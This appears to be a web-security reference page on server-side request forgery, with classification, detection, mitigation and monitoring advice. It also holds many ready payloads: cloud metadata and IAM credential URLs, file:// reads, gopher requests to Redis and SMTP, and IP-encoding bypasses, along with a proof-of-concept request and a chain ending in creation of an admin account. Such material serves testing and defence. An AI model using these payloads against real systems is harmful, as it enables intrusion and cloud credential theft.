Home / Web Security / SSRF
Critical Severity | OWASP A10:2021

🔴 Server-Side Request Forgery (SSRF)

CWECWE-918: SSRF
OWASPA10:2021 SSRF
CVSS 3.110.0 (Critical)
CAPECCAPEC-220, 664
Attack VectorNetwork
Privilege RequiredNone

🧠 Description

What is SSRF?

Server-Side Request Forgery (SSRF) allows an attacker to make the server perform requests on their behalf. Unlike CSRF (which targets the victim to perform actions), SSRF involves the vulnerable server making requests to internal services or external systems.

SSRF allows attackers to:
  • Access internal services (localhost, private networks)
  • Exploit cloud metadata services (AWS, GCP, Azure)
  • Port scanning internal infrastructure
  • Read internal files via file:// protocol
  • Attack internal services (Redis, MongoDB, etc.)
  • Bypass firewall restrictions

🏷️ Classification

  • Vulnerability Type: Server-Side Request Forgery (CWE-918)
  • OWASP: A10:2021 - Server-Side Request Forgery
  • Attack Types:
    • Basic SSRF - Response visible to attacker
    • Blind SSRF - No response, only side effects
    • Semi-blind SSRF - Limited response data

🎯 Attack Surface

  • ✅ URL Parameters: preview, url, src, dest, redirect, uri, path
  • ✅ API Endpoints: /fetch, /load, /get, /render
  • ✅ File Processing: PDF generation, image processing
  • ✅ Webhooks: Callback URLs, notification URLs
  • ✅ Proxy Services: URL shorteners, proxy gateways
  • ✅ API Integrations: Social media, payment callbacks

⚠️ Preconditions

  • Application fetches URLs based on user input
  • No proper validation of the URL target
  • Server can make outbound connections
  • No allowlist or proper restrictions on URL schemes

🔍 Detection

Basic Payloads for Testing:

  • http://localhost/
  • http://127.0.0.1/
  • http://169.254.169.254/ (AWS metadata)

Tools:

  • Burp Suite: Manual testing with Intruder
  • SSRFmap: Automated SSRF testing
  • groundsel: SSRF fuzzer

🔧 Burp Suite Workflow

  1. Identify URL-fetching functionality
  2. Send request to Repeater
  3. Replace URL with internal targets
  4. Check response for data leakage
  5. If blind, use out-of-band detection
  6. Escalate to cloud metadata or internal services

⚙️ Tool Automation

🔫 SSRFmap

Automatic SSRF exploitation

🛡️ Burp Suite

Manual testing

⚡ Gitscan

GitHub SSRF scanner

# SSRFmap
python ssrfmap.py -r request.txt -p url

# nuclei
nuclei -u "http://target.com" -t templates/ssrf.yaml

💣 Basic Payloads

🧪 Internal Access
http://localhost/
http://127.0.0.1/
http://0.0.0.0/
http://[::1]/
🌐 Cloud Metadata
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/metadata/v1/

🚀 Advanced Payloads

☁️ AWS Payloads
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/document
📁 File Protocol
file:///etc/passwd
file:///var/www/html/config.php
file:///proc/self/environ
🔧 Protocol Smuggling
dict://localhost:11211/stats
gopher://127.0.0.1:6379/_INFO
sftp://localhost:22/

🤖 AI-Generated Payloads

AWS Lambda: http://169.254.169.254/2018-06-01/runtime/invocation/
Kubernetes: http://kubernetes.default.svc/

🎨 Context-Aware Payloads

🛡️ WAF Bypass
http://127.1/
http://127.127.127.127/
http://2130706433/ (Decimal)
http://[::ffff:127.0.0.1]/

📝 Proof of Concept

# Target: https://target.com/url?url=https://example.com
# Payload: https://target.com/url?url=http://169.254.169.254/latest/meta-data/

# Response reveals AWS credentials!

📨 Request / Response

GET /fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: target.com

HTTP/1.1 200 OK
ami-id
instance-id
instance-type
...

💥 Impact Analysis

Severity: CRITICAL (CVSS 10.0)
  • Full cloud account compromise via metadata
  • Access to internal services and databases
  • Port scanning and network mapping
  • Remote code execution in many cases

⚡ Advanced Exploitation

1. Gopher Protocol for Redis:

gopher://127.0.0.1:6379/_CONFIG GET *

2. SMTP via Gopher:

gopher://127.0.0.1:25/_MAIL FROM:<attacker@attacker.com>

🔗 Attack Chains

Chain 1: SSRF to Cloud Takeover
  1. Find URL-fetching parameter
  2. Access AWS metadata service
  3. Steal IAM credentials
  4. Create new IAM user with admin access

✅ Test Cases

IDTestPayloadExpected
1Localhosthttp://127.0.0.1Internal response
2AWS Metadatahttp://169.254.169.254/...AWS data
3File Readfile:///etc/passwdFile content

🛡️ Mitigation

✅ URL Validation: Use allowlist for URLs

✅ Disable Unnecessary Protocols: Disable file://, gopher://, etc.

✅ Cloud Metadata Protection: Disable metadata API from instance

✅ Network Segmentation: Limit outbound access from server

🏰 Advanced Mitigation

# AWS - Disable IMDS
aws ec2 modify-instance-metadata-options \
    --instance-id i-1234567890abcdef0 \
    --http-endpoint disabled

Use URL parsing libraries to validate URL components, implement request timeout limits, log and monitor all outgoing requests.

📊 Monitoring & Detection

  • Alert on requests to 169.254.169.254 (metadata)
  • Monitor for internal IP addresses in requests
  • Log all URL-fetching operations
  • Alert on unusual outbound connections

🔐 Security Controls

ControlImplementation
AllowlistOnly allow specific domains
Protocol RestrictionDisable file://, gopher://
Cloud HardeningDisable metadata API
Network ControlsRestrict outbound traffic

🔓 Bypass Techniques

http://127.1/ (Short form)
http://2130706433/ (Decimal)
http://[::1]/ (IPv6)
localhost.@domain.com (DNS hijacking)

🛠️ Tools & Commands

SSRFmap

ssrfmap -r request.txt

Burp Collaborator

Out-of-band detection

📚 References

🔄 Retest Steps

StepAction
1Implement allowlist
2Re-test with localhost
3Re-test with cloud metadata
4Disable metadata API

⚙️ Detection Logic

  • Static: Check for URL-fetching without validation
  • Dynamic: Fuzz URL parameters with internal targets

🔎 Threat-Hunting Notes

IOCs: Requests to 169.254.x.x, file:// protocol, internal IPs

🛡️ Defensive Detection Ideas

Deploy WAF with SSRF rules, implement network monitoring for unusual outbound connections.

Back to Web Security